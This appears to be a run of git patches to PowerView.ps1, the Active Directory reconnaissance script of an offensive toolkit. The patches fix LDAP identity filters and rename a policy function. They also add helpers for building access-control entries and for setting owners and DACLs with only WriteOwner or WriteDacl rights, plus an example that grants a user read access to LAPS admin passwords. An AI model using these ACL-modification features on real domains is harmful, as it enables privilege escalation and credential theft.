[PATCH 250/296] The DFS subfunctions only accept a single $Domain Specifying the type as an array of strings results in an error when passing on the parameter to Get-DomainSearcher: C:\> Get-DomainDFSShare -Domain test Get-DomainSearcher : Cannot process argument transformation on parameter 'Domain'. Cannot convert value to type System.String. At PowerView.ps1:10242 char:46 --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 79a415cf..898ae033 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9915,7 +9915,7 @@ function Get-DomainDFSShare { .SYNOPSIS Returns a list of all fault-tolerant distributed file systems -for the current (or specified) domain. +for the current (or specified) domains. Author: Ben Campbell (@meatballs__) License: BSD 3-Clause @@ -9930,7 +9930,7 @@ The server data is parsed appropriately and returned. .PARAMETER Domain -Specifies the domain to use for the query, defaults to the current domain. +Specifies the domains to use for the query, defaults to the current domain. .PARAMETER SearchBase @@ -10213,7 +10213,7 @@ A custom PSObject describing the distributed file systems. function Get-DomainDFSShareV1 { [CmdletBinding()] Param( - [String[]] + [String] $Domain, [String] @@ -10292,7 +10292,7 @@ A custom PSObject describing the distributed file systems. function Get-DomainDFSShareV2 { [CmdletBinding()] Param( - [String[]] + [String] $Domain, [String] From 08b30627d99592876790aa855b039f0090a2dbf2 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Wed, 5 Apr 2017 14:05:51 +0100 Subject: [PATCH 251/296] Support for DNs containing commas If an object's distinguished name contains a comma then it ends up quoted: CN=Smith\, John,OU=Admins,DC=example,DC=com This breaks a number of functions which attempt to identify DOMAIN\name by matching on a \ anywhere in the specified identity before checking if the identity was a DN (or SID or GUID). For example, attempting to list members of "Domain Admins" using Get-DomainGroupMember gives the following: VERBOSE: [Convert-ADName] Error initializing translation for 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : Exception calling "InvokeMember" with "5" argument(s): "The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B)" VERBOSE: [Convert-ADName] Error translating 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B) VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (objectClass=*) The fix implemented here is to perform more specific pattern matching prior to falling back to looking for a \. The order is SID, DN, GUID, qualified name (DOMAIN\name), and then plain name. --- Recon/PowerView.ps1 | 195 ++++++++++++++++++-------------------------- 1 file changed, 80 insertions(+), 115 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 79a415cf..74be1b35 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4706,9 +4706,19 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match '.+\\.+') { - $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $UserName = $IdentityInstance.Split('\')[1] @@ -4719,26 +4729,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } } else { - $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-.*') { - # SID format - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - # distinguished names - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" - } - } + $IdentityFilter += "(samAccountName=$IdentityInstance)" } } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } @@ -5751,28 +5745,21 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-.*') { + if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } - elseif ($IdentityInstance -match '^CN=.*') { + elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } - elseif ($IdentityInstance -match '.*\..*') { - $IdentityFilter += "(dnshostname=$IdentityInstance)" + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - if ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - else { - $IdentityFilter += "(name=$IdentityInstance)" - } - } + $IdentityFilter += "(name=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { @@ -6063,40 +6050,33 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match '.+\\.+') { - $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $ObjectName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$ObjectName)" $SearcherArguments['Domain'] = $ObjectDomain - Write-Verbose "[Get-DomainUser] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } else { - $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - if ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" - } - } - } + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { @@ -6784,19 +6764,15 @@ Custom PSObject with ACL entries. elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - if ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" - } - } + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { @@ -8669,11 +8645,19 @@ Custom PSObject with translated group property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - - if ($IdentityInstance -match '.+\\.+') { - # DOMAIN\groupname - $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] @@ -8684,24 +8668,10 @@ Custom PSObject with translated group property fields. } } else { - $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" - } - } + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" } } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } @@ -9394,10 +9364,19 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of- $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match '.+\\.+') { - # DOMAIN\groupname - $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] @@ -9408,24 +9387,10 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of- } } else { - $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" - } - } + $IdentityFilter += "(samAccountName=$IdentityInstance)" } } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } From 834a80fef3f3f61c39aba4fc386d11fb69bf3b95 Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Mon, 17 Apr 2017 15:30:06 -0700 Subject: [PATCH 252/296] Set explicit LDAP SecurityMask settings Changed the LDAP SecurityMasks settings so that you can change the Owner/DACL if you only have WriteOwner/WriteDacl permissions on the object (Default SecurityMasks is "Owner, Group, Dacl") --- Recon/PowerView.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 79a415cf..95c136ee 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6588,6 +6588,7 @@ Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate cr try { Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) $Entry.PsBase.CommitChanges() } @@ -7206,6 +7207,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a ForEach ($ACE in $ACEs) { Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } From 9f4e32e0f3dc161eb4643e8b89c5b7a92c5bb3e7 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 26 Apr 2017 17:24:59 -0400 Subject: [PATCH 253/296] Renamed Get-DomainPolicy to Get-DomainPolicyData and generalized the function to accept any policy. --- Recon/PowerView.ps1 | 116 ++++++++++++++++++++++---------------------- 1 file changed, 59 insertions(+), 57 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c003d8e0..168200be 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -10451,7 +10451,9 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. } Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" - Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + $Contents['Path'] = $TargetGptTmplPath + $Contents } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" @@ -11862,7 +11864,7 @@ PowerView.GGPOComputerLocalGroupMember } -function Get-DomainPolicy { +function Get-DomainPolicyData { <# .SYNOPSIS @@ -11882,9 +11884,10 @@ domain or a specified domain/domain controller using Get-DomainGPO. The domain to query for default policies, defaults to the current domain. -.PARAMETER Source +.PARAMETER Policy -Extract 'Domain' or 'DC' (domain controller) policies. +Extract 'Domain' or 'DC' (domain controller) policies, otherwise queries for the particular +GPO name or GUID. .PARAMETER Server @@ -11905,19 +11908,25 @@ for connection to the target domain. .EXAMPLE -Get-DomainPolicy +Get-DomainPolicyData -Returns the domain policy for the current domain. +Returns the default domain policy for the current domain. .EXAMPLE -Get-DomainPolicy -Domain dev.testlab.local +Get-DomainPolicyData -Domain dev.testlab.local -Returns the domain policy for the dev.testlab.local domain. +Returns the default domain policy for the dev.testlab.local domain. .EXAMPLE -Get-DomainPolicy -Source DC -Domain dev.testlab.local +Get-DomainGPO | Get-DomainPolicy + +Parses any GptTmpl.infs found for any policies. + +.EXAMPLE + +Get-DomainPolicyData -Policy DC -Domain dev.testlab.local Returns the policy for the dev.testlab.local domain controller. @@ -11925,7 +11934,7 @@ Returns the policy for the dev.testlab.local domain controller. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) -Get-DomainPolicy -Credential $Cred +Get-DomainPolicyData -Credential $Cred .OUTPUTS @@ -11939,14 +11948,13 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Alias('Name')] - [ValidateNotNullOrEmpty()] + [Alias('Source', 'Name')] [String] - $Domain, + $Policy = 'Domain', - [ValidateSet('Domain', 'DC', 'DomainController')] + [ValidateNotNullOrEmpty()] [String] - $Source = 'Domain', + $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] @@ -11982,56 +11990,49 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. $ConvertArguments['Domain'] = $Domain } - if ($Source -eq 'Domain') { - # query the given domain for the default domain policy object (name = {31B2F340-016D-11D2-945F-00C04FB984F9}) + if ($Policy -eq 'Domain') { $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' - $GPO = Get-DomainGPO @SearcherArguments - - if ($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' - $ParseArgs = @{'GptTmplPath' = $GptTmplPath} - if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } - Get-GptTmpl @ParseArgs - } } - else { - # query the given domain/dc for the default domain controller policy object (name = {6AC1786C-016F-11D2-945F-00C04FB984F9}) + elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' - $GPO = Get-DomainGPO @SearcherArguments - - if ($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - - $ParseArgs = @{'GptTmplPath' = $GptTmplPath} - if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } - - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | ForEach-Object { - if ($PSBoundParameters['ResolveSids']) { - $Root = $_ - $PrivilegeRightsResovled = @{} - # if we're resolving sids in PrivilegeRights to names - if ($Root.'Privilege Rights') { - $PrivilegeRights = $Root.'Privilege Rights' - ForEach ($PrivilegeRight in $PrivilegeRights.Keys) { - $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object { - try { - $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments } - } - catch { - Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_" - $_ - } + } + else { + $SearcherArguments['Identity'] = $Policy + } + + $GPO = Get-DomainGPO @SearcherArguments + + if ($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{'GptTmplPath' = $GptTmplPath} + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveSids']) { + $Root = $_ + $PrivilegeRightsResovled = @{} + # if we're resolving sids in PrivilegeRights to names + if ($Root.'Privilege Rights') { + $PrivilegeRights = $Root.'Privilege Rights' + ForEach ($PrivilegeRight in $PrivilegeRights.Keys) { + $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object { + try { + $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments } + } + catch { + Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_" + $_ } } } - $Root.'Privilege Rights' = $PrivilegeRightsResovled - $Root } - else { $_ } + $Root.'Privilege Rights' = $PrivilegeRightsResovled + $Root } + else { $_ } } } } @@ -18663,3 +18664,4 @@ Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +Set-Alias Get-DomainPolicy Get-DomainPolicyData From fc04f97ecf4b6ebc40952c6c89e54c09d8e41ea5 Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Thu, 27 Apr 2017 00:30:27 -0700 Subject: [PATCH 254/296] Generalized ACE creation and added LDAP logonhours conversion Added ConvertFrom-LDAPLogonHours and New-ADObjectAccessControlEntry --- Recon/PowerView.ps1 | 333 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 324 insertions(+), 9 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 168200be..b40989d4 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6400,6 +6400,330 @@ scriptpath } +function ConvertFrom-LDAPLogonHours { +<# +.SYNOPSIS + +Converts the LDAP LogonHours array to a processible object. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts the LDAP LogonHours array to a processible object. Each entry +property in the output object corresponds to a day of the week and hour during +the day (in UTC) indicating whether or not the user can logon at the specified +hour. + +.PARAMETER LogonHoursArray + +21-byte LDAP hours array. + +.EXAMPLE + +$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours +ConvertFrom-LDAPLogonHours $hours + +Gets the logonhours array from the first AD user with logon restrictions. + +.OUTPUTS + +PowerView.LogonHours +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonHours')] + [CmdletBinding()] + Param ( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [byte[]] + $LogonHoursArray + ) + + Begin { + if($LogonHoursArray.Count -ne 21) { + throw "LogonHoursArray is the incorrect length" + } + + function ConvertTo-LogonHoursArray { + Param ( + [int[]] + $HoursArr + ) + + $LogonHours = New-Object bool[] 24 + for($i=0; $i -lt 3; $i++) { + $Byte = $HoursArr[$i] + $Offset = $i * 8 + $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') + + $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) + $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) + $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) + $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) + $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) + $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) + $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) + $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) + } + + $LogonHours + } + } + + Process { + $Output = @{ + Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] + Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] + Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] + Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] + Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] + Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] + Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] + } + + $Output = New-Object PSObject -Property $Output + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') + $Output + } +} + + +function New-ADObjectAccessControlEntry { +<# +.SYNOPSIS + +Creates a new Active Directory object-specific access control entry. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Creates a new object-specific access control entry (ACE). The ACE could be +used for auditing access to an object or controlling access to objects. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalSearchBase + +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Right + +Specifies the rights set on the Active Directory object. + +.PARAMETER AccessControlType + +Specifies the type of ACE (allow or deny) + +.PARAMETER AuditFlag + +For audit ACEs, specifies when to create an audit log (on success or failure) + +.PARAMETER ObjectType + +Specifies the GUID of the object that the ACE applies to. + +.PARAMETER InheritanceType + +Specifies how the ACE applies to the object and/or its children. + +.PARAMETER InheritedObjectType + +Specifies the type of object that can inherit the ACE. + +.EXAMPLE + +$Guids = Get-DomainGUIDMap +$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name +$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name +$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid +$OU = Get-DomainOU -Raw Workstations +$DsEntry = $OU.GetDirectoryEntry() +$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' +$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) +$dsEntry.PsBase.CommitChanges() + +Adds an ACE to all computer objects in the OU "Workstations" permitting the +user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. + +.OUTPUTS + +System.Security.AccessControl.AuthorizationRule +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Security.AccessControl.AuthorizationRule')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + 